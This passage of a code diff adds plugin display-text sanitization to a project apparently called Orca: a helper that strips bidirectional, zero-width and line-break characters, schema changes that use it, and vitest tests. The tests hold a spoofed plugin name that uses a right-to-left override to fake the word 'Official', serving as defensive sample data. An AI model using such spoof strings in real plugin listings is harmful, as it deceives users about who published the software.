string[] = []if (entries.length > PLUGIN_MARKETPLACE_ENTRY_LIMIT) {errors.push(`plugins: must be at most ${PLUGIN_MARKETPLACE_ENTRY_LIMIT} items`)}diff --git a/src/shared/plugins/manifest/plugin-display-text.test.ts b/src/shared/plugins/manifest/plugin-display-text.test.tsnew file mode 100644index 00000000000..c54bfa56458--- /dev/null+++ b/src/shared/plugins/manifest/plugin-display-text.test.ts@@ -0,0 +1,63 @@+import { describe, expect, it } from 'vitest'+import { validatePluginFile } from '../installation/plugin-file-validation'+import { pluginCatalogEntrySchema } from '../catalog/plugin-catalog'+import { parseHostPluginManifest, parsePluginManifest } from './plugin-manifest'+import {+ catalogEntryFixture,+ catalogFixture,+ v2ManifestFixture+} from './plugin-json-schema.test-fixture'++// "Dusk", a right-to-left override that renders "Official" backwards, and a zero-width space.+const SPOOFED_NAME = 'Dusk \u202elaiciffO\u202c\u200b'+const themed = (name: string, title: string) =>+ v2ManifestFixture({+ name,+ description: 'Line one\nline two',+ contributes: { themes: [{ id: 'dusk', title, path: 'dusk.json' }] }+ })++describe('plugin display text', () => {+ it('strips bidi, zero-width and line-break characters when a host reads a manifest', () => {+ const parsed = parseHostPluginManifest(themed(SPOOFED_NAME, 'Dusk\u2066 Pro'))+ expect(parsed.ok && parsed.manifest).toMatchObject({+ name: 'Dusk laiciffO',+ description: 'Line one line two',+ contributes: { themes: [{ title: 'Dusk Pro' }] }+ })+ })++ it('keeps the joiners that emoji and scripts such as Persian need', () => {+ const family = '\u{1F468}\u200d\u{1F469}\u200d\u{1F467}'+ const parsed = parseHostPluginManifest(themed(`${family} Theme`, 'Dusk'))+ expect(parsed.ok && parsed.manifest.name).toBe(`${family} Theme`)+ })++ it('refuses a name made only of invisible characters', () => {+ expect(parseHostPluginManifest(themed('\u200b\u202e', 'Dusk')).ok).toBe(false)+ })++ it('refuses unsafe characters in validate:plugin instead of stripping them', () => {+ expect(parsePluginManifest(themed(SPOOFED_NAME, 'Dusk'))).toEqual({+ ok: false,+ error: expect.stringContaining(+ 'name: must be one line without control, bidirectional or zero-width characters;'+ )+ })+ expect(validatePluginFile('orca-plugin.json', themed('Dusk', 'Dusk\u2066'))).toEqual([+ 'description: must be one line without control, bidirectional or zero-width characters; contributes.themes[0].title: must be one line without control, bidirectional or zero-width characters'+ ])+ })++ it('strips catalog listing text at runtime and refuses it in catalog CI', () => {+ const entry = catalogEntryFixture({ description: 'Gleam\u202e' }, { name: 'Gleam\u200b' })+ expect(pluginCatalogEntrySchema.parse(entry)).toMatchObject({+ description: 'Gleam',+ releases: [{ name: 'Gleam' }]+ })+ expect(validatePluginFile('orca-catalog.json', catalogFixture([entry]))).toEqual([+ 'plugins[0].releases[0].name: must be one line without control, bidirectional or zero-width characters',+ 'plugins[0].description: must be one line without control, bidirectional or zero-width characters'+ ])+ })+})diff --git a/src/shared/plugins/manifest/plugin-display-text.ts b/src/shared/plugins/manifest/plugin-display-text.tsnew file mode 100644index 00000000000..5f35d5738ae--- /dev/null+++ b/src/shared/plugins/manifest/plugin-display-text.ts@@ -0,0 +1,40 @@+import type { z } from 'zod'+import { stripUnsafeDisplayCharacters } from '../../display-text-safety'++const LINE_BREAKS = /[\t\n\v\f\r\u0085\u2028\u2029]+/g+/** Manifest and catalog keys whose strings Orca shows as plugin names, titles and listing text. */+const DISPLAY_TEXT_KEYS = new Set(['name', 'title', 'displayName', 'description', 'label'])++/** Plugin text as Orca may show it: one line, with nothing that reorders or hides characters. */+export function sanitizePluginDisplayText(value: string): string {+ return stripUnsafeDisplayCharacters(value.replace(LINE_BREAKS, ' '))+}++/** Hosts strip unsafe characters so an installed plugin keeps loading; `validate:plugin` refuses+ * them through `unsafePluginDisplayTextPaths`. */+export function safePluginDisplayText(schema: z.ZodString): z.ZodString {+ // Why overwrite, not transform: the published JSON Schema keeps its defaults and examples.+ const safe = schema.overwrite(sanitizePluginDisplayText)+ // Why re-check: text made only of stripped characters must not become an empty name.+ return schema.minLength ? safe.min(schema.minLength, 'must contain visible characters') : safe+}++/** Dotted paths of display strings in a raw manifest or catalog that Orca would have to change. */+export function unsafePluginDisplayTextPaths(raw: unknown, path = ''): string[] {+ if (Array.isArray(raw)) {+ return raw.flatMap((item, index) => unsafePluginDisplayTextPaths(item, `${path}[${index}]`))+ }+ if (typeof raw !== 'object' || raw === null) {+ return []+ }+ return Object.entries(raw).flatMap(([key, value]) => {+ const at = path ? `${path}.${key}` : key+ if (typeof value === 'string') {+ return DISPLAY_TEXT_KEYS.has(key) && sanitizePluginDisplayText(value) !== value ? [at] : []+ }+ return unsafePluginDisplayTextPaths(value, at)+ })+}++export const UNSAFE_PLUGIN_DISPLAY_TEXT_MESSAGE =+ 'must be one line without control, bidirectional or zero-width characters'diff --git a/src/shared/plugins/manifest/plugin-manifest.ts b/src/shared/plugins/manifest/plugin-manifest.tsindex 3015a19a915..02fd47e3519 100644--- a/src/shared/plugins/manifest/plugin-manifest.ts+++ b/src/shared/plugins/manifest/plugin-manifest.ts@@ -1,4 +1,9 @@import { z } from 'zod'+import {+ safePluginDisplayText,+ UNSAFE_PLUGIN_DISPLAY_TEXT_MESSAGE,+ unsafePluginDisplayTextPaths+} from './plugin-display-text'import { pluginCapabilitySchema } from '../capabilities/plugin-capabilities'import { orcaEngineRangeSchema } from './plugin-manifest-engine-range'import {@@ -43,11 +48,9 @@ const V1 = PLUGIN_SCHEMA_SINCE_V1const NEXT = PLUGIN_MANIFEST_V2_SINCEconst authorFields = {- name: z- .string()- .min(1)- .max(256)- .meta(pluginFieldDoc('Author or organization name.', V1, ['Acme'])),+ name: safePluginDisplayText(z.string().min(1).max(256)).meta(+ pluginFieldDoc('Author or organization name.', V1, ['Acme'])+ ),url: z.string().max(2048)@@ -86,18 +89,14 @@ const pluginManifestFields = {['acme'])),- name: z- .string()- .min(1)- .max(256)- .meta(pluginFieldDoc('Display name.', V1, ['Gleam'])),+ name: safePluginDisplayText(z.string().min(1).max(256)).meta(+ pluginFieldDoc('Display name.', V1, ['Gleam'])+ ),version: z.string().regex(SEMVER_RE, 'must be semver').meta(pluginFieldDoc('Plugin version, semver.', V1, ['1.2.0'])),- description: z- .string()- .max(4096)+ description: safePluginDisplayText(z.string().max(4096)).optional().meta(pluginFieldDoc('One or two sentences shown in the plugin list.', V1)),author: z.object(authorFields).optional().meta(authorDoc),@@ -250,7 +249,15 @@ function parseWith(schema: typeof pluginManifestSchema, raw: unknown): PluginMan/** Strict authoring check (`validate:plugin`, catalog CI, dev folders). */export function parsePluginManifest(raw: unknown): PluginManifestParseResult {- return parseWith(pluginManifestSchema, raw)+ const parsed = parseWith(pluginManifestSchema, raw)+ // Why only here: hosts strip these characters so installed plugins keep loading.+ const unsafe = parsed.ok ? unsafePluginDisplayTextPaths(raw) : []+ return unsafe.length > 0+ ? {+ ok: false,+ error: unsafe.map((path) => `${path}: ${UNSAFE_PLUGIN_DISPLAY_TEXT_MESSAGE}`).join('; ')+ }+ : parsed}/** Runtime read for install, discovery and update. Callers must still check engines.orcadiff --git a/src/shared/skill-display-text.ts b/src/shared/skill-display-text.tsdeleted file mode 100644index 7fed9cefc92..00000000000--- a/src/shared/skill-display-text.ts+++ /dev/null@@ -1,22 +0,0 @@-// Strip spoofing controls/zero-width/bidi codepoints with one predicate so host labels and renderer pickers agree.-export function isSafeDisplayCharacter(character: string): boolean {- const code = character.codePointAt(0) ?? 0- return !(- code <= 0x1f ||- (code >= 0x7f && code <= 0x9f) ||- code === 0x200b ||- code === 0x200e ||- code === 0x200f ||- code === 0x061c ||- code === 0x2060 ||- code === 0xfeff ||- code === 0x2028 ||- code === 0x2029 ||- (code >= 0x202a && code <= 0x202e) ||- (code >= 0x2066 && code <= 0x2069)- )-}--export function stripUnsafeDisplayCharacters(value: string): string {- return [...value].filter(isSafeDisplayCharacter).join('')-}